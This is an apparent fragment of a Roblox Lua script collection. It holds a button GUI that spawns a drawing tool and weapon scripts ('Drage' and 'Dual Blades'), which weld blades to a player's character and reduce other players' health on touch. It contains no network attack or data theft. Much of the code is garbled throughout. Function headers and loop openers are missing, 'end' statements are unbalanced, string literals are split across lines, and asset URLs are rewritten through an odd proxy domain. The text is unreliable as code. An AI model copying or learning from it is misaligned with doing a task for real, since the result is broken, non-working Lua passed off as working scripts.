mouse.Button1Down:connect(onDown);
mouse.KeyDown:connect(onKeyDown);
mouse.Button1Up:connect(onUp);
mouse.KeyUp:connect(onKeyUp);
mouse.Move:connect(onMove);
end;
local onDeselect=function()
ver=ver+1;
frame.Visible=false;
selectGui.Adornee=nil;
mouse.Icon=iconNormal;
for i,v in next,freeKeys do
freeKeys[i]=true;
end;
end;
local addButton=function(title,shortcut,fun)
with'TextButton'{
Text=string.format(' %s (%s)',title,shortcut);
TextXAlignment=0;
Parent=frame;
}.MouseButton1Up:connect(fun);
shortcuts[shortcut]=fun;
local c=#frame:children();
for i,v in next,frame:children()do
v.Position=UDim2.new(0,0,0,20*(i-1));
v.Size=UDim2.new(1,0,0,20);
end;
frame.Position=UDim2.new(1,-152,.5,-c*10);
frame.Size=UDim2.new(0,150,0,c*20);
end;
local tool=with'HopperBin'{
Parent=pack;
Name=name;
};
tool.Deselected:connect(onDeselect);
tool.Selected:connect(onSelect);
local screen=with'ScreenGui'{
Parent=guis;
Name=name;
};
frame=with'Frame'{
Parent=screen;
Visible=false;
};
clframe=with'Frame'{
Position=UDim2.new(.5,-50,.5,-50);
Size=UDim2.new(0,100,0,100);
Visible=false;
Parent=screen;
};
selectGui=with'SelectionBox'{
Parent=screen;
};
local c=0;
for y=0,7 do
for x=0,7 do
local color=BrickColor.palette(c).Color;
with'ImageButton'{
Position=UDim2.new(.125*x,0,.125*y);
Size=UDim2.new(.125,0,.125);
BackgroundColor3=color;
Parent=clframe;
}.MouseButton1Up:connect(function()
clframe.Visible=false;
_G.drawColor=color;
end);
c=c+1;
end;
end;
addButton('Color','c',function()
clframe.Visible=true;
end);
addButton('Remove your draws','r',function()
repeat
destroy(_G.mine[1]);
table.remove(_G.mine,1);
wait(0.01);
until nil;
end);
addButton('Remove global draws','k',function()
destroy(workspace.draw);
while(_G.mine[1])do
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
end);
addButton('Remove selected','x',function()
repeat
if(find(workspace,'draw'))then
local dt=mouse.target;
if(dt and dt:IsDescendantOf(workspace.draw))then
selectGui.Adornee=dt.Parent;
else
selectGui.Adornee=nil;
end;
else
selectGui.Adornee=nil;
end;
wait(0.01);
until freeKeys.x;
selectGui.Adornee=nil;
end);
repeat
wait(0.01);
if(next(_G.mine)and _G.mine[_G.drawLimit])then
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
until script.Parent==nil or tool.Parent==nil;
script.Disabled=true;
destroy(screen);
--Dresmor Alakazard--
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,132)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,165)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,198)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 3
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
end)
-- Weapon Scripts --
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Drage"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Drage"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
--[[ put your name where it says yourname -ulti55 ]]
Plrs = game:GetService("Players")
me = Plrs.LocalPlayer
char = me.Character
Modelname = "xWep"
Toolname = "Drage"
Able = true
Selected = false
Deb = true
Hurt = false
CritMultiplier = 1.6
ComboOn = false
AbleToBreak = false
CounterKey = false
Attack = 1
AddDamage = 0
AddDamageX = 1
AddShield = 0
RageMode = false
Mode = Dmgs.Slash
AbleAll = true
Aim = false
LineColor = "White"
EffectColor2 = "White"
BlockBars = {}
MaxRage = 100
Rage = MaxRage
CritChance = 5 --Percent
for _, v in pairs(char:children()) do
end
BlockRealPowa = 4
Block = Instance.new("BoolValue")
Block.Name = "Block"
Block.Value = false
BlockPower = Instance.new("IntValue")
BlockPower.Name = "BlockPower"
BlockPower.Value = BlockRealPowa
BlockPower.Parent = Block
Block.Parent = char
CA = CFrame.Angles
CN = CFrame.new
MR = math.rad
MP = math.pi
MD = math.deg
MH = math.huge
MRA = math.random
Sounds = {
Add = {
Sphere = function(P)
local m = Instance.new("SpecialMesh",P)
m.MeshType = "Sphere"
return m
end,
BP = function(P)
local bp = Instance.new("BodyPosition",P)
bp.P = 14000
return bp
end,
BG = function(P)
local bg = Instance.new("BodyGyro",P)
bg.P = 14000
return bg
end,
local m = Instance.new("SpecialMesh")
m.MeshId = ID
m.Scale = Vector3.new(x, y, z)
m.Parent = P
return m
end,
Head = function(P)
local s = Instance.new("SpecialMesh")
s.MeshType = "Head"
s.Parent = P
return s
end,
local s = Instance.new("Sound")
s.SoundId = ID
s.Volume = vol
s.Pitch = pitch
s.Parent = P
return s
end
end
end
coroutine.resume(coroutine.create(function()
if tim then
wait(tim)
end
func()
end))
end
while true do
child = parent.ChildAdded:wait()
end
end
end
local p = Instance.new("Part")
p.formFactor = "Custom"
p.Anchored = Anchor
p.CanCollide = Collide
p.Transparency = Tran
p.Reflectance = Ref
p.BrickColor = BrickColor.new(Color)
p.TopSurface = 0
p.BottomSurface = 0
p.Size = Vector3.new(X, Y, Z)
if Break then
p:BreakJoints()
p.Parent = Parent
p.Locked = true
return p
end
local w = Instance.new("Weld")
w.Parent = p0
w.Part0 = p0
w.Part1 = p1
return w
end
torso = char.Torso
neck = torso.Neck
hum = char.Humanoid
hc = Instance.new("Humanoid")
hc.Health = 0
hc.MaxHealth = 0
function getHumanoid(c)
local h = nil
h = v
end
end
end
return h
end
local chars = {}
for _, v in pairs(where:children()) do
if k:IsA("BasePart") then
anypart = k
break
end
end
end
if anypart then
end
end
return chars
end
if tonumber(pitch) then
s.Pitch = tonumber(pitch)
end
end
if tonumber(vol) then
s.Volume = tonumber(vol)
end
end
s.Parent = torso
s.PlayOnRemove = true
Notime(function()
wait()
s:remove()
end)
end
function playz(sound)
end
PlrGui = waitChild(me, "PlayerGui")
for _, v in pairs(PlrGui:children()) do
v:remove()
end
end
obj.Size = size
obj.Position = position
obj.BackgroundColor3 = bgcolor
obj.BorderColor3 = bordercolor
obj.BackgroundTransparency = transparency
obj.Text = text
obj.TextColor3 = textcolor
end
obj.AutoButtonColor = auto
obj.MouseButton1Down:connect(function()
RemoveOptions()
end)
end
obj.Parent = parent
end
C3 = Color3.new
UD = UDim2.new
Sc = Instance.new("ScreenGui", PlrGui)
Sc.Name = "MyGui"
Fr = Instance.new("Frame")
EditGui(Fr, Sc, UD(0, 60, 0, 250), UD(1, -70, 0.5, -125), C3(0.1, 0.2, 0.5),
C3(), 0)
HealthBack = Instance.new("Frame")
RageBack = Instance.new("Frame")
EditGui(RageBack, Fr, UD(0, 25, 1, -20), UD(1, -27, 0, 10), C3(0.2, 0, 0),
C3(), 0)
local hp = hum.Health/hum.MaxHealth
HealthBar = Instance.new("ImageLabel")
HealthBar.Image = "http://www.roblox.com/asset/?id=50051953"
RageBar = Instance.new("ImageLabel")
RageBar.Image = "http://www.roblox.com/asset/?id=50051953"
RageAmount = Instance.new("TextLabel")
EditGui(RageAmount, RageBack, UD(1, 0, 0, 0), UD(0, 0, 0, 0), C3(1, 0.6,
0.15), C3(), 0, Rage, C3(1,1,1))
RageAmount.TextYAlignment = "Top"
AimButton = Instance.new("TextButton")
AimButton.TextWrap = true
AimButton.Font = "ArialBold"
AimButton.FontSize = "Size14"
AimButton.MouseButton1Down:connect(function()
if Aim then
Aim = false
else
Aim = true
end
end)
for i = 1, BlockRealPowa do
gui.Image = "http://www.roblox.com/asset/?id=48908046"
table.insert(BlockBars, gui)
end
BlockPower.Changed:connect(function()
for _, v in pairs(BlockBars) do
v.Image = ""
end
for i = 1, BlockPower.Value do
if gui then
gui.Image = "http://www.roblox.com/asset/?id=48908046"
end
end
end)
Mo = Instance.new("Model")
Mo.Name = Modelname
HW = Weld(HB, nil, 0, 0, 0, 0, 0, 0)
Weapon = Instance.new("Model")
Weapon.Name = "Weapon"
Add.Head(Handle)
Add.Head(Tip1)
Weld(Handle, Tip1, 0, 0, 0, 0, 0, 0)
Blades = {}
Instance.new("BlockMesh",Blade1).Scale = Vector3.new(0.2, 1,
0.99)
table.insert(Blades, Blade1)
end
end
table.insert(Blades, Tip7)
TH.Part1 = Handle
Shield = Instance.new("Model")
Shield.Name = "Shield"
SW.Part1 = SHandle
end
end
Weld(SHandle, SHandle2, 1, 0, 0, 0, 0, 0)
Weld(ShieldPlate, STip3, 0, x, 0, 0, 0, 0)
end
local i2 = i/40
end
Weapon.Parent = Mo
Shield.Parent = Mo
Mo.Parent = char
local M = Instance.new("Model")
Loldmg = 0
end
if tostring(Loldmg):sub(1,1) == "-" then
Loldmg = tostring(Loldmg):sub(2)
end
M.Name = Loldmg
if Crit then Col = "Bright yellow" elseif block then Col = "Bright
blue" end
P.CFrame = CN(Par.Position)
P.Name = "Head"
local BP = Add.BP(P)
BP.position = Pos.p
BP.P = 11000
Add.BG(P)
local H = hc:clone()
H.Parent = M
H.MaxHealth = 0
H.Health = 0
M.Parent = workspace
Notime(function()
wait(1.5)
M:remove()
end)
end
if Hum then
Damg = dmg*CritMultiplier
end
Damg = math.ceil(((Damg+AddDamage)*AddDamageX)-0.5)
end
end
end
if crit then
ShieldDmg = mode[4]+AddShield
end
if blockpowerval then
blockval.Value = false
end
end
end
end
function getBlock(c)
block = v
blockin = v.Value
local bp = v:findFirstChild("BlockPower")
if bp then
blockpow = bp
end
end
end
end
function TouchDamage(hit)
Deb = false
local BlockPowa = 0
if math.random(1,100/CritChance) == 1 then
Crit = true
end
if Blawk then
Damg = 0
if BlockPowaVal then
blocksound = Sounds.Equip
end
end
end
end
if Blawk then
else
end
Notime(function()
wait(0.35)
Deb = true
end)
end
end
end
for _, v in pairs(Blades) do
v.Touched:connect(TouchDamage)
end
H = Instance.new("HopperBin", me.Backpack)
H.Name = Toolname
script.Parent = H
end
Bin = script.Parent
EffectOn = false
function StartEffect(color)
EffectOn = true
Notime(function()
while EffectOn do
wait()
col = color
end
lastPoint = pos
Notime(function()
wait(0.05)
for i = 0, 1, 0.12 do
p.Transparency = 0.1+0.9*i
end
p:remove()
end)
end
end)
end
function EndEffect()
EffectOn = false
end
function Detach()
RAW.Part1 = nil
LAW.Part1 = nil
RLW.Part1 = nil
LLW.Part1 = nil
RAW.C0 = CN()
LAW.C0 = CN()
RLW.C0 = CN()
LLW.C0 = CN()
end
function Normalize()
HW.C0 = CA(0, 0, 0)
neck.C0 = necko
end
SelectAnim = function()
RAW.Part1 = Rarm
HW.Part1 = nil
TH.Part1 = Handle
wait()
end
HW.Part1 = Handle
TH.Part1 = nil
LAW.Part1 = Larm
wait()
end
wait()
end
wait()
end
Normalize()
end
DeselectAnim = function()
wait()
end
LAW.Part1 = nil
wait()
end
HW.Part1 = nil
TH.Part1 = Handle
wait()
end
neck.C0 = necko
Detach()
end
function setatk(s, e)
Notime(function()
Attack = e
wait(0.25)
Attack = s
end)
end
Attacks = {
function()
Attack = 1
Able = false
HW.C0 = CA(0, 0, 0)
wait()
end
HW.C0 = CA(0, 0, 0)
end
Hurt = true
Deb = true
StartEffect()
Mode = Dmgs.Slash
HW.C0 = CA(MR(-70*i), 0, 0)
wait()
end
EndEffect()
Hurt = false
setatk(1,2)
Able = true
HW.C0 = CA(MR(-70-5*i), 0, 0)
wait()
end
wait(0.1)
HW.C0 = CA(MR(-75+75*i), 0, 0)
LAW.C0 = CA(MR(-40+60*i), MR(-20+20-20*i), MR(-20*i))
wait()
end
Normalize()
end,
function()
Attack = 2
Able = false
LAW.C0 = CA(MR(-40), 0, 0)
wait()
end
Hurt = true
Deb = true
StartEffect()
Mode = Dmgs.SideSlash
wait()
end
EndEffect()
Hurt = false
Deb = false
setatk(1,3)
Able = true
wait()
end
wait(0.08)
wait()
end
Normalize()
end,
function()
Able = false
wait()
end
wait()
end
StartEffect()
Hurt = true
Deb = true
Mode = Dmgs.Smash
wait()
end
PlaySound(Sounds.SmashHit[1], Sounds.SmashHit[2],
Sounds.SmashHit[3])
EndEffect()
Hurt = false
Deb = false
for i = 0.2, 1, 0.5 do
wait()
end
setatk(1,4)
Able = true
wait()
end
wait()
end
Normalize()
end,
function()
Able = false
wait()
end
Mode = Dmgs.DoubleSlash
StartEffect()
playz(Sounds.Slash)
Hurt = true
Deb = true
wait()
end
EndEffect()
Hurt = false
end
wait()
end
StartEffect()
Hurt = true
Deb = true
playz(Sounds.Slash)
wait()
end
EndEffect()
Hurt = false
wait()
end
for i = 0.09, 1, 0.16 do
wait()
end
Normalize()
Able = true
Attack = 1
end
SpinSlash = function(plaic)
local cf = torso.CFrame
if plaic then
CF = ComputePos(cf.p, plaic)
end
AbleAll = false
local bg = Add.BG(torso)
bg.cframe = CF
wait()
end
StartEffect()
Hurt = true
Deb = true
Mode = Dmgs.Spin
Notime(function()
while Hurt do
PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.35,
Sounds.Slash[3])
wait(0.15)
end
end)
wait()
end
EndEffect()
wait()
end
Hurt = false
Deb = false
wait()
end
bg:remove()
Normalize()
AbleAll = true
end
Flawp = function(plaic)
local cf = torso.CFrame
if plaic then
CF = ComputePos(cf.p, plaic)
end
local Dist = 8
local bp = Add.BP(torso)
bp.position = cf.p
local bg = Add.BG(torso)
bg.cframe = CF
AbleAll = false
RLW.Part1 = Rleg
LLW.Part1 = Lleg
HW.C0 = CA(MR(25*i), 0, 0)
wait()
end
hum.PlatformStand = true
HW.C0 = CA(MR(25), 0, 0)
bg.cframe = CF * CA(MR(-90*i), 0, 0)
wait()
end
RLW.C0 = CN(0, 0, 0)
bg.cframe = CF * CA(MR(-90-90*i), 0, 0)
wait()
end
StartEffect()
RLW.C0 = CN(0, 0, 0)
bg.cframe = CF * CA(MR(-180-90*i), 0, 0)
wait()
end
playz(Sounds.Slash)
bg.cframe = CF * CA(MR(-270-90*i), 0, 0)
wait()
end
Mode = Dmgs.Boom
EndEffect()
bg.cframe = CF * CA(0, 0, 0)
Notime(function()
playz(Sounds.Boom)
if blo then
ShieldDamage(Dmgs.Boom, bl, bp, false)
end
d = d/4
if k:IsA("BasePart") then
k.Velocity = CFrame.new(PosEff.p,
k.Position).lookVector * 40 + Vector3.new(0, 50, 0)
end
end
h.PlatformStand = true
end
eff.Name = "Effect"
wave.CFrame = PosEff
ball.CFrame = PosEff
ballm.Scale = Vector3.new(2, 5, 2)
diamond.CFrame = PosEff
for i = 0, 1, 0.05 do
wait()
wave.Transparency = i
wavem.Scale = Vector3.new(3+(disst*1.15)*i, 2+
(disst/1.4)*i, 3+(disst*1.15)*i)
ball.Transparency = i
ballm.Scale = Vector3.new(1+(disst*2)*i, 5+
(disst*1.2)*i, 1+(disst*2)*i)
diamond.Transparency = i
end
wait()
eff:remove()
end)
wait(0.4)
wait()
end
bp:remove()
bg:remove()
hum.PlatformStand = false
for i = 0.05, 1, 0.1 do
RLW.C0 = CN()
LLW.C0 = CN()
wait()
end
RLW.Part1 = nil
LLW.Part1 = nil
wait()
end
Normalize()
AbleAll = true
end
end
function Raeg()
AbleAll = false
HW.C0 = CA(MR(20*i), 0, 0)
wait()
end
HW.C0 = CA(MR(20+5*i), 0, 0)
wait()
end
hum.Jump = true
playz(Sounds.Jump2)
Notime(function()
for i = 0, 1, 0.08 do
wait()
p.Transparency = i
end
p:remove()
end)
end
wait()
end
wait()
end
playz(Sounds.GoRage)
local m2 = Add.Sphere(p2)
for i = 0, 1, 0.06 do
p2.Transparency = 1-1*i
wait()
end
v.BrickColor = BrickColor.new(EffectColor3)
end
wait(0.5)
for i = 0, 1, 0.1 do
p2.Transparency = i
wait()
end
p2:remove()
playz(Sounds.Shout)
wait()
end
Normalize()
AbleAll = true
RageMode = true
AddDamage = Dmgs.RageMode[2]
AddDamageX = Dmgs.RageMode[3]
AddShield = Dmgs.RageMode[4]
LineColor = EffectColor3
Notime(function()
repeat
wait()
RageMode = false
AddDamage = 0
AddShield = 0
AddDamageX = 1
LineColor = "White"
local m3 = Add.Sphere(p3)
playz(Sounds.RageOff)
p3.Transparency = 1-1*i
wait()
end
p.Transparency = 0
v.BrickColor = BrickColor.new(BladeColor)
end
wait(0.2)
p3.Transparency = 1*i
wait()
end
p3:remove()
end)
end
end
function RageSlash(plaic)
local cf = torso.CFrame
if plaic then
CF = ComputePos(cf.p, plaic)
local bg = Add.BG(torso)
bg.cframe = CF
end
AbleAll = false
wait()
end
wait()
end
wait()
end
Mode = Dmgs.RageSlash
StartEffect("Neon orange")
Hurt = true
Deb = true
wait()
end
EndEffect()
Hurt = false
wait()
end
wait()
end
Normalize()
AbleAll = true
end
function Counter()
local cf = torso.CFrame
local bg = Add.BG(torso)
bg.cframe = CF
HW.C0 = CA(MR(20-60*i), 0, 0)
wait()
end
StartEffect()
Hurt = true
Deb = true
Mode = Dmgs.Counter
playz(Sounds.Slash)
HW.C0 = CA(MR(-40+40*i), 0, 0)
bg.cframe = CF * CA(0, MR(-35+80*i), 0)
wait()
end
EndEffect()
Hurt = false
LAW.C0 = CA(MR(-60-10*i), 0, 0)
HW.C0 = CA(MR(5*i), 0, 0)
wait()
end
HW.C0 = CA(MR(5-5*i), 0, 0)
wait()
end
Normalize()
bg:remove()
end
function Bloc()
AbleAll = false
Block.Value = true
for i = 0, 1, 0.15 do
HW.C0 = CA(MR(20*i), 0, 0)
wait()
end
HW.C0 = CA(MR(20), 0, 0)
PlaySound(Sounds.SmashHit[1], Sounds.SmashHit[2]-0.6,
Sounds.SmashHit[3])
repeat
wait()
Block.Value = false
BlockPower.Value = BlockRealPowa
end
Counter()
else
for i = 1, 0, -0.2 do
HW.C0 = CA(MR(20*i), 0, 0)
wait()
end
Normalize()
end
AbleAll = true
end
end
function Clicked(mousepos)
if Aim then
Notime(function()
local bg = Add.BG(torso)
bg.P = 5500
wait(0.4)
bg:remove()
end)
end
Attacks[Attack]()
end
end
key = key:lower()
if Able then
if Aim then
aimplace = mouse.Hit.p
end
if key == string.char(48) then
Notime(function()
local k = nil
repeat
k = mouse.KeyUp:wait()
until k == string.char(48)
Block.Value = false
end)
Bloc()
SpinSlash(aimplace)
end
Flawp(aimplace)
end
Raeg()
end
Notime(function()
local k = nil
CounterKey = true
repeat
k = mouse.KeyUp:wait()
until k == "t"
CounterKey = false
end)
elseif key == "q" then
local a = nil
if Aim then
a = mouse.Hit.p
end
RageSlash(a)
end
end
end
end
Select = function(mouse)
SelectAnim()
Selected = true
mouse.Button1Down:connect(function()
if Able then
Clicked(mouse.Hit.p)
end
end)
mouse.KeyDown:connect(function(key)
KeyDown(key, mouse)
end)
end
Deselect = function(mouse)
Selected = false
DeselectAnim()
end
Bin.Selected:connect(Select)
Bin.Deselected:connect(Deselect)
Notime(function()
wait()
if Rage > MaxRage then Rage = MaxRage elseif Rage < 0 then Rage =
0 end
RageAmount.Text = math.floor(Rage)
if hp2 > 1 then hp2 = 1 elseif hp2 < 0 then hp2 = 0 end
if Block.Value then
hum.WalkSpeed = 10
hum.WalkSpeed = 16
hum.WalkSpeed = 19
else
hum.WalkSpeed = 16
end
end
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Dual Blades"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Dual Blades"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
--MADE BY OneLegend (NOT THE SCRIPT) LOCAL SCRIPT: Go to line 5 and put your
name where it says "YOUR NAME HERE"
bin = script.Parent
player = bin.Parent.Parent.Character
rarm = player["Right Arm"]
larm = player["Left Arm"]
visible = true
--for i, v in pairs(game.Players:GetChildren()) do
--bin:Clone().Parent = v.Backpack
--end
on = 1
function shadow(rblade,lblade)
while on == 1 do
wait(.1)
if visible then
local a = rblade:clone()
local b = lblade:clone()
a.Anchored = true
a.Parent = player
a.CFrame = rblade.CFrame
a.CanCollide = false
a.Transparency = .2
b.Anchored = true
b.Parent = player
b.CFrame = lblade.CFrame
b.CanCollide = false
b.Transparency = .2
coroutine.resume(coroutine.create(function() dissapate(a,b)
end))
end
end
end
function stun(blast)
for x = 1,15 do
wait(1)
local sap = game.Players:GetChildren()
for i = 1,#sap do
wait()
if (sap.Character.Torso.Position -
Workspace.keel.Position).magnitude < 20 then
sap.Character.Humanoid.Sit = true
end
end
end
end
function dissapate(a,b)
for i = 1,8 do
wait()
a.Transparency = a.Transparency +.1
b.Transparency = b.Transparency +.1
end
a:remove()
b:remove()
end
bin.Selected:connect(function(mouse)
on = 1
if player.Torso:findFirstChild("Right Shoulder") ~= nil then
rs = player.Torso["Right Shoulder"]
rs.Part1 = nil
end
if player.Torso:findFirstChild("Left Shoulder") ~= nil then
ls = player.Torso["Left Shoulder"]
ls.Part1 = nil
end
if player:FindFirstChild("check") == nil then
rns = Instance.new("Weld")
rns.Parent = player.Torso
rns.Part0 = rns.Parent
rns.Part1 = player["Right Arm"]
rns.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
lns = Instance.new("Weld")
lns.Parent = player.Torso
lns.Part0 = lns.Parent
lns.Part1 = player["Left Arm"]
lns.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
rblade = Instance.new("Part")
rblade.BrickColor = BrickColor.new("Institutional white")
rblade.Name ="check"
rblade.Parent = player
rblade.CanCollide = false
rblade.Size = Vector3.new(1,3,1)
rblade.formFactor = "Symmetric"
rblade.TopSurface = 0
rblade.BottomSurface = 0
rbm = Instance.new("BlockMesh")
rbm.Parent = rblade
rbm.Scale = Vector3.new(.1,1,.3)
rbw = Instance.new("Weld")
rbw.Parent = rarm
rbw.Part0 = rarm
rbw.Part1 = rblade
rbw.C1 = CFrame.new(0,1,0)
lblade = Instance.new("Part")
lblade.BrickColor = rblade.BrickColor
lblade.Name = "checkb"
lblade.Parent = player
lblade.CanCollide = false
lblade.Size = Vector3.new(1,3,1)
lblade.formFactor = "Symmetric"
lblade.TopSurface = 0
lblade.BottomSurface = 0
lbm = Instance.new("BlockMesh")
lbm.Parent = lblade
lbm.Scale = Vector3.new(.1,1,.3)
lbw = Instance.new("Weld")
lbw.Parent = larm
lbw.Part0 = larm
lbw.Part1 = lblade
lbw.C1 = CFrame.new(0,1,0)
coroutine.resume(coroutine.create(function() shadow(rblade,
lblade) end))
end
rblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
if hit.Parent.Humanoid.MaxHealth > 100 then
hit.Parent.Humanoid.MaxHealth = 100
end
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - math.random(3,7)
for i = 1, (math.random(1,3)) do
wait()
local bleed = Instance.new("Part")
bleed.formFactor = "Symmetric"
bleed.Size = Vector3.new(1,1,1)
bleed.BrickColor = BrickColor.new("Bright red")
bleed.TopSurface = 0
bleed.BottomSurface = 0
bleed.Reflectance = .1
bleed.Transparency = .4
bleed.Parent = Workspace
bleed.Position = rblade.Position
local bleedm = Instance.new("SpecialMesh")
bleedm.MeshType = "Sphere"
bleedm.Scale = Vector3.new(.2,.2,.2)
bleedm.Parent = bleed
game:GetService("Debris"):AddItem(bleed, 5)
end
end
end
end)
lblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
if hit.Parent.Humanoid.MaxHealth > 100 then
hit.Parent.Humanoid.MaxHealth = 100
end
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - math.random(3,7)
for i = 1, (math.random(1,3)) do
wait()
local bleed = Instance.new("Part")
bleed.formFactor = "Symmetric"
bleed.Size = Vector3.new(1,1,1)
bleed.BrickColor = BrickColor.new("Bright red")
bleed.TopSurface = 0
bleed.BottomSurface = 0
bleed.Reflectance = .1
bleed.Transparency = .4
bleed.Parent = Workspace
bleed.Position = lblade.Position
local bleedm = Instance.new("SpecialMesh")
bleedm.MeshType = "Sphere"
bleedm.Scale = Vector3.new(.2,.2,.2)
bleedm.Parent = bleed
game:GetService("Debris"):AddItem(bleed, 5)
end
end
end
end)
----end of blades
right = rns
left = lns
mouse.KeyDown:connect(function(key)
key = key:lower()
print(key)
if key == "z" and rblade.Transparency <= 0 then
for i = 1,50 do
wait()
rblade.Transparency = rblade.Transparency + .02
lblade.Transparency = lblade.Transparency + .02
end
rblade.Transparency = 1
lblade.Transparency = 1
visible = false
elseif key == "x" and rblade.Transparency > 0 then
visible = true
for i = 1,50 do
wait()
rblade.Transparency = rblade.Transparency - .02
lblade.Transparency = lblade.Transparency - .02
end
rblade.Transparency = 0
lblade.Transparency = 0
elseif key == "c" then
wait()
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
end
if key == "e" then
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
wait()
right.C1 = CFrame.new(-
1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
wait(.5)
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
elseif key == "q" then
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
left.C1 =
CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait(.5)
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
elseif key == "r" then
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
left.C1 =
